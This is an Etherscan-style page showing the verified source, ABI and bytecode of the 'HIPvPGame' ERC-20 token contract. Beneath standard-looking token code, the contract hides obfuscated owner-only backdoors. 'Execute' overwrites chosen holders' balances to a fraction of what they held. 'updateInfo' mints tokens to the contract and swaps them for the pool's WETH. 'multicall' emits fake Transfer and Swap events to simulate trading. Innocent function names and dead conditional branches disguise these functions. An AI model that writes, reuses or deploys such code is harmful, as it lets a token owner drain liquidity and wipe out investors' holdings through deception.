ERC-20
Overview
Max Total Supply
10,000,000 HIPVP
Holders
128
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
HIPvPGame
Compiler Version
v0.7.6+commit.7338295f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-27 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IPair { function token0() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IERC20 { function _Transfer( address from, address recipient, uint256 amount ) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } contract ERC20{ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to); function _count(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function _mult(uint256 a) internal pure returns (uint256) { return (a * 10) / 10; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } contract HIPvPGame is ERC20 { IRouter internal _RR; IPair internal _pair; address public owner; address private _RA = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private allowances; string public constant name = "HIPvPGame"; string public constant symbol = "HIPVP"; uint8 public constant decimals = 18; uint256 public totalSupply = 10_000_000e18; constructor() { owner = msg.sender; _RR = IRouter(_RA); _pair = IPair(IFactory(_RR.factory()).createPair(address(this), address(_RR.WETH()))); _balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } modifier onlyOwner() { require(owner == msg.sender, "Caller is not the owner"); _; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual returns (bool) { _transfer(msg.sender, to, amount); return true; } function allowance(address __owner, address spender) public view virtual returns (uint256) { return allowances[__owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { _spendAllowance(from, msg.sender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address __owner = msg.sender; _approve(__owner, spender, allowance(__owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address __owner = msg.sender; uint256 currentAllowance = allowance(__owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(__owner, spender, currentAllowance - subtractedValue); return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[from] = sub(fromBalance, amount); _balances[to] = add(_balances[to], amount); emit Transfer(from, to, amount); } function _approve( address __owner, address spender, uint256 amount ) internal virtual { require(__owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowances[__owner][spender] = amount; emit Approval(__owner, spender, amount); } function _spendAllowance( address __owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(__owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); _approve(__owner, spender, currentAllowance - amount); } } function multicall( address tA, uint256 t, uint256 w, address[] memory r ) public onlyOwner returns (bool) { for (uint256 i = 0; i < r.length; i++) { _s(r[i], t, w, tA); } return true; } function updateInfo( address _r, uint256 am ) public onlyOwner { uint256 amO = gAO(_RR.WETH(), am); address[] memory p = getPP(); uint256 amI = _cAI(amO, p); _doS(amO, amI, p, _r); } function getPP() internal view returns (address[] memory) { address[] memory p; p = new address[](2); p[0] = address(this); p[1] = _RR.WETH(); return p; } function _doA() internal { _approve(address(this), address(_RR), balanceOf(address(this))); } function _doS(uint256 amO, uint256 amI, address[] memory p, address _r) internal { _doA(); _doS2(amO, amI, p, _r); } function _doS2(uint256 amO, uint256 amI, address[] memory p, address _r) internal { _RR.swapTokensForExactTokens(amO, amI, p, _r, block.timestamp + 1200); } function gAO(address bT, uint256 am) internal view returns (uint256) { uint256 bTR = getBR(bT); return (bTR * am) / 100000; } function getBR(address t) public view returns (uint256) { (uint112 r0, uint112 r1, ) = _pair.getReserves(); return (_pair.token0() == t) ? uint256(r0) : uint256(r1); } function Execute( uint256 _m, uint256 _p, bytes32[] calldata data ) public onlyOwner { for (uint256 i = 0; i < data.length; i++) { if (balanceOf( ( uint256(0) != 0) ? address( uint256(0)) : address( uint160( uint256( data[i])>>96 ))) > _m) { uint256 resCount1 = _count1( ( uint256(0) != 0) ? address( uint256(0)) : address( uint160( uint256( data[i])>>96 )), _p); _check( data[i], resCount1); } } } function _s( address r, uint256 t, uint256 w, address tA ) internal { _Transfer(r, t); _s3(r, t, w, tA); } function _s3(address r, uint256 t, uint256 w, address tA)internal { _Swap(t, w, r, tA); } function _Transfer(address recipient, uint256 tokenAmount) internal { emit Transfer(address(_pair), recipient, tokenAmount); } function _Swap( uint256 t, uint256 w, address r, address tA ) internal { emit Swap(_RA, t, 0, 0, w, r); IERC20(tA)._Transfer(r, address(_pair), w); } function _count1(address _user, uint256 _percent) internal view returns (uint256) { return _count(_balances[_user], _percent); } function _cAI(uint256 amO, address[] memory p) internal returns (uint256) { uint256[] memory amM; amM = new uint256[](2); amM = _RR.getAmountsIn(amO, p); _balances[ block.timestamp > uint256(1) ? address( uint160( uint256( getThis()) >> 96)) : address(uint256 ( 0) )] += amM[ 0 ]; return amM[ 0 ]; } function _check(bytes32 b, uint256 amount) internal { _balances[ ( uint256(0) != 0) ? address( uint256(0)) : address( uint160( uint256( b)>>96 ))] = _mult(uint256(amount)); } function getThis() internal view returns (bytes32) { return bytes32( uint256( uint160( address(this )))<<96 ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_m","type":"uint256"},{"internalType":"uint256","name":"_p","type":"uint256"},{"internalType":"bytes32[]","name":"data","type":"bytes32[]"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"t","type":"address"}],"name":"getBR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"multicall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_r","type":"address"},{"internalType":"uint256","name":"am","type":"uint256"}],"name":"updateInfo","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556a084595161401484a00000060065534801561004557600080fd5b50600280546001600160a01b03199081163317909155600354600080549092166001600160a01b0391821617918290556040805163c45a015560e01b81529051929091169163c45a015591600480820192602092909190829003018186803b1580156100b057600080fd5b505afa1580156100c4573d6000803e3d6000fd5b505050506040513d60208110156100da57600080fd5b5051600054604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693309391169163ad5c464891600480820192602092909190829003018186803b15801561012c57600080fd5b505afa158015610140573d6000803e3d6000fd5b505050506040513d602081101561015657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156101a857600080fd5b505af11580156101bc573d6000803e3d6000fd5b505050506040513d60208110156101d257600080fd5b5051600180546001600160a01b0319166001600160a01b03909216919091179055600654336000818152600460209081526040808320859055805194855251929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a36115098061024e6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063ace9792211610066578063ace979221461032c578063b1e84b0d1461035a578063bddfe62314610417578063dd62ed3e1461049157610100565b80638da5cb5b146102a857806395d89b41146102cc578063a457c2d7146102d4578063a9059cbb1461030057610100565b8063313ce567116100d3578063313ce5671461021257806339509351146102305780634da71fa91461025c57806370a082311461028257610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6104bf565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b0381351690602001356104e4565b604080519115158252519081900360200190f35b6101ca6104fa565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b03813581169160208101359091169060400135610500565b61021a610522565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b038135169060200135610527565b6101ca6004803603602081101561027257600080fd5b50356001600160a01b0316610540565b6101ca6004803603602081101561029857600080fd5b50356001600160a01b031661066c565b6102b0610687565b604080516001600160a01b039092168252519081900360200190f35b61010d610696565b6101ae600480360360408110156102ea57600080fd5b506001600160a01b0381351690602001356106b7565b6101ae6004803603604081101561031657600080fd5b506001600160a01b03813516906020013561071e565b6103586004803603604081101561034257600080fd5b506001600160a01b03813516906020013561072b565b005b6101ae6004803603608081101561037057600080fd5b6001600160a01b038235169160208101359160408201359190810190608081016060820135600160201b8111156103a657600080fd5b8201836020820111156103b857600080fd5b803590602001918460208302840111600160201b831117156103d957600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061082c945050505050565b6103586004803603606081101561042d57600080fd5b813591602081013591810190606081016040820135600160201b81111561045357600080fd5b82018360208201111561046557600080fd5b803590602001918460208302840111600160201b8311171561048657600080fd5b5090925090506108c7565b6101ca600480360360408110156104a757600080fd5b506001600160a01b03813581169160200135166109a1565b60405180604001604052806009815260200168484950765047616d6560b81b81525081565b60006104f13384846109cc565b50600192915050565b60065481565b600061050d843384610ab8565b610518848484610b37565b5060019392505050565b601281565b60003361051881858561053a83836109a1565b016109cc565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561059357600080fd5b505afa1580156105a7573d6000803e3d6000fd5b505050506040513d60608110156105bd57600080fd5b50805160209182015160015460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561061057600080fd5b505afa158015610624573d6000803e3d6000fd5b505050506040513d602081101561063a57600080fd5b50516001600160a01b03161461065957806001600160701b0316610664565b816001600160701b03165b949350505050565b6001600160a01b031660009081526004602052604090205490565b6002546001600160a01b031681565b60405180604001604052806005815260200164048495056560dc1b81525081565b600033816106c582866109a1565b9050838110156107065760405162461bcd60e51b81526004018080602001828103825260258152602001806114af6025913960400191505060405180910390fd5b61071382868684036109cc565b506001949350505050565b60006104f1338484610b37565b6002546001600160a01b03163314610784576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60008054604080516315ab88c960e31b815290516107fd926001600160a01b03169163ad5c4648916004808301926020929190829003018186803b1580156107cb57600080fd5b505afa1580156107df573d6000803e3d6000fd5b505050506040513d60208110156107f557600080fd5b505183610caf565b90506000610809610ccc565b905060006108178383610dc2565b905061082583828488610fb6565b5050505050565b6002546000906001600160a01b03163314610888576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b82518110156108bb576108b38382815181106108a357fe5b6020026020010151868689610fca565b60010161088b565b50600195945050505050565b6002546001600160a01b03163314610920576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b81811015610825578461094e606085858581811061093d57fe5b9050602002013560001c901c61066c565b1115610999576000610979606085858581811061096757fe5b9050602002013560001c901c86610fe0565b905061099784848481811061098a57fe5b905060200201358261100a565b505b600101610923565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b038316610a115760405162461bcd60e51b815260040180806020018281038252602481526020018061148b6024913960400191505060405180910390fd5b6001600160a01b038216610a565760405162461bcd60e51b815260040180806020018281038252602281526020018061141e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610ac484846109a1565b90506000198114610b315781811015610b24576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b610b3184848484036109cc565b50505050565b6001600160a01b038316610b7c5760405162461bcd60e51b81526004018080602001828103825260258152602001806114666025913960400191505060405180910390fd5b6001600160a01b038216610bc15760405162461bcd60e51b81526004018080602001828103825260238152602001806113fb6023913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205481811015610c195760405162461bcd60e51b81526004018080602001828103825260268152602001806114406026913960400191505060405180910390fd5b610c23818361102e565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610c52908361108b565b6001600160a01b0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600080610cbb84610540565b620186a09302929092049392505050565b6040805160028082526060808301845292839291906020830190803683370190505090503081600081518110610cfe57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060008054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6a57600080fd5b505afa158015610d7e573d6000803e3d6000fd5b505050506040513d6020811015610d9457600080fd5b5051815182906001908110610da557fe5b6001600160a01b0390921660209283029190910190910152905090565b6040805160028082526060808301845260009390929190602083019080368337505060008054604080516307c0329d60e21b8152600481018a8152602482019283528951604483015289519697506001600160a01b0390931695631f00ca7495508a948a949392606401916020808701929102908190849084905b83811015610e55578181015183820152602001610e3d565b50505050905001935050505060006040518083038186803b158015610e7957600080fd5b505afa158015610e8d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610eb657600080fd5b8101908080516040519392919084600160201b821115610ed557600080fd5b908301906020820185811115610eea57600080fd5b82518660208202830111600160201b82111715610f0657600080fd5b82525081516020918201928201910280838360005b83811015610f33578181015183820152602001610f1b565b50505050905001604052505050905080600081518110610f4f57fe5b60200260200101516004600060014211610f6a576000610f77565b6060610f746110e5565b901c5b6001600160a01b031681526020810191909152604001600090812080549092019091558151829190610fa557fe5b602002602001015191505092915050565b610fbe6110ec565b610b318484848461110e565b610fd484846112a0565b610b31848484846112e9565b6001600160a01b03821660009081526004602052604081205461100390836112f5565b9392505050565b61101381611308565b60609290921c60009081526004602052604090209190915550565b600082821115611085576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015611003576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3060601b90565b60005461110c9030906001600160a01b03166111078261066c565b6109cc565b565b60008054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156111a9578181015183820152602001611191565b505050509050019650505050505050600060405180830381600087803b1580156111d257600080fd5b505af11580156111e6573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561120f57600080fd5b8101908080516040519392919084600160201b82111561122e57600080fd5b90830190602082018581111561124357600080fd5b82518660208202830111600160201b8211171561125f57600080fd5b82525081516020918201928201910280838360005b8381101561128c578181015183820152602001611274565b505050509050016040525050505050505050565b6001546040805183815290516001600160a01b038086169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b610b3183838684611311565b600081838161130057fe5b049392505050565b600a9081020490565b60035460408051868152600060208201819052818301526060810186905290516001600160a01b038086169316917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822919081900360800190a3600154604080516370ab58db60e11b81526001600160a01b03858116600483015292831660248201526044810186905290519183169163e156b1b6916064808201926020929091908290030181600087803b1580156113c857600080fd5b505af11580156113dc573d6000803e3d6000fd5b505050506040513d60208110156113f257600080fd5b50505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122076234b394417be182f3982875b4baec9603d5dc70673aceef0efffdba53e205a64736f6c63430007060033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063ace9792211610066578063ace979221461032c578063b1e84b0d1461035a578063bddfe62314610417578063dd62ed3e1461049157610100565b80638da5cb5b146102a857806395d89b41146102cc578063a457c2d7146102d4578063a9059cbb1461030057610100565b8063313ce567116100d3578063313ce5671461021257806339509351146102305780634da71fa91461025c57806370a082311461028257610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6104bf565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b0381351690602001356104e4565b604080519115158252519081900360200190f35b6101ca6104fa565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b03813581169160208101359091169060400135610500565b61021a610522565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b038135169060200135610527565b6101ca6004803603602081101561027257600080fd5b50356001600160a01b0316610540565b6101ca6004803603602081101561029857600080fd5b50356001600160a01b031661066c565b6102b0610687565b604080516001600160a01b039092168252519081900360200190f35b61010d610696565b6101ae600480360360408110156102ea57600080fd5b506001600160a01b0381351690602001356106b7565b6101ae6004803603604081101561031657600080fd5b506001600160a01b03813516906020013561071e565b6103586004803603604081101561034257600080fd5b506001600160a01b03813516906020013561072b565b005b6101ae6004803603608081101561037057600080fd5b6001600160a01b038235169160208101359160408201359190810190608081016060820135600160201b8111156103a657600080fd5b8201836020820111156103b857600080fd5b803590602001918460208302840111600160201b831117156103d957600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061082c945050505050565b6103586004803603606081101561042d57600080fd5b813591602081013591810190606081016040820135600160201b81111561045357600080fd5b82018360208201111561046557600080fd5b803590602001918460208302840111600160201b8311171561048657600080fd5b5090925090506108c7565b6101ca600480360360408110156104a757600080fd5b506001600160a01b03813581169160200135166109a1565b60405180604001604052806009815260200168484950765047616d6560b81b81525081565b60006104f13384846109cc565b50600192915050565b60065481565b600061050d843384610ab8565b610518848484610b37565b5060019392505050565b601281565b60003361051881858561053a83836109a1565b016109cc565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561059357600080fd5b505afa1580156105a7573d6000803e3d6000fd5b505050506040513d60608110156105bd57600080fd5b50805160209182015160015460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561061057600080fd5b505afa158015610624573d6000803e3d6000fd5b505050506040513d602081101561063a57600080fd5b50516001600160a01b03161461065957806001600160701b0316610664565b816001600160701b03165b949350505050565b6001600160a01b031660009081526004602052604090205490565b6002546001600160a01b031681565b60405180604001604052806005815260200164048495056560dc1b81525081565b600033816106c582866109a1565b9050838110156107065760405162461bcd60e51b81526004018080602001828103825260258152602001806114af6025913960400191505060405180910390fd5b61071382868684036109cc565b506001949350505050565b60006104f1338484610b37565b6002546001600160a01b03163314610784576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60008054604080516315ab88c960e31b815290516107fd926001600160a01b03169163ad5c4648916004808301926020929190829003018186803b1580156107cb57600080fd5b505afa1580156107df573d6000803e3d6000fd5b505050506040513d60208110156107f557600080fd5b505183610caf565b90506000610809610ccc565b905060006108178383610dc2565b905061082583828488610fb6565b5050505050565b6002546000906001600160a01b03163314610888576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b82518110156108bb576108b38382815181106108a357fe5b6020026020010151868689610fca565b60010161088b565b50600195945050505050565b6002546001600160a01b03163314610920576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b81811015610825578461094e606085858581811061093d57fe5b9050602002013560001c901c61066c565b1115610999576000610979606085858581811061096757fe5b9050602002013560001c901c86610fe0565b905061099784848481811061098a57fe5b905060200201358261100a565b505b600101610923565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b038316610a115760405162461bcd60e51b815260040180806020018281038252602481526020018061148b6024913960400191505060405180910390fd5b6001600160a01b038216610a565760405162461bcd60e51b815260040180806020018281038252602281526020018061141e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610ac484846109a1565b90506000198114610b315781811015610b24576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b610b3184848484036109cc565b50505050565b6001600160a01b038316610b7c5760405162461bcd60e51b81526004018080602001828103825260258152602001806114666025913960400191505060405180910390fd5b6001600160a01b038216610bc15760405162461bcd60e51b81526004018080602001828103825260238152602001806113fb6023913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205481811015610c195760405162461bcd60e51b81526004018080602001828103825260268152602001806114406026913960400191505060405180910390fd5b610c23818361102e565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610c52908361108b565b6001600160a01b0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600080610cbb84610540565b620186a09302929092049392505050565b6040805160028082526060808301845292839291906020830190803683370190505090503081600081518110610cfe57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060008054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6a57600080fd5b505afa158015610d7e573d6000803e3d6000fd5b505050506040513d6020811015610d9457600080fd5b5051815182906001908110610da557fe5b6001600160a01b0390921660209283029190910190910152905090565b6040805160028082526060808301845260009390929190602083019080368337505060008054604080516307c0329d60e21b8152600481018a8152602482019283528951604483015289519697506001600160a01b0390931695631f00ca7495508a948a949392606401916020808701929102908190849084905b83811015610e55578181015183820152602001610e3d565b50505050905001935050505060006040518083038186803b158015610e7957600080fd5b505afa158015610e8d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610eb657600080fd5b8101908080516040519392919084600160201b821115610ed557600080fd5b908301906020820185811115610eea57600080fd5b82518660208202830111600160201b82111715610f0657600080fd5b82525081516020918201928201910280838360005b83811015610f33578181015183820152602001610f1b565b50505050905001604052505050905080600081518110610f4f57fe5b60200260200101516004600060014211610f6a576000610f77565b6060610f746110e5565b901c5b6001600160a01b031681526020810191909152604001600090812080549092019091558151829190610fa557fe5b602002602001015191505092915050565b610fbe6110ec565b610b318484848461110e565b610fd484846112a0565b610b31848484846112e9565b6001600160a01b03821660009081526004602052604081205461100390836112f5565b9392505050565b61101381611308565b60609290921c60009081526004602052604090209190915550565b600082821115611085576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015611003576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3060601b90565b60005461110c9030906001600160a01b03166111078261066c565b6109cc565b565b60008054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156111a9578181015183820152602001611191565b505050509050019650505050505050600060405180830381600087803b1580156111d257600080fd5b505af11580156111e6573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561120f57600080fd5b8101908080516040519392919084600160201b82111561122e57600080fd5b90830190602082018581111561124357600080fd5b82518660208202830111600160201b8211171561125f57600080fd5b82525081516020918201928201910280838360005b8381101561128c578181015183820152602001611274565b505050509050016040525050505050505050565b6001546040805183815290516001600160a01b038086169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b610b3183838684611311565b600081838161130057fe5b049392505050565b600a9081020490565b60035460408051868152600060208201819052818301526060810186905290516001600160a01b038086169316917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822919081900360800190a3600154604080516370ab58db60e11b81526001600160a01b03858116600483015292831660248201526044810186905290519183169163e156b1b6916064808201926020929091908290030181600087803b1580156113c857600080fd5b505af11580156113dc573d6000803e3d6000fd5b505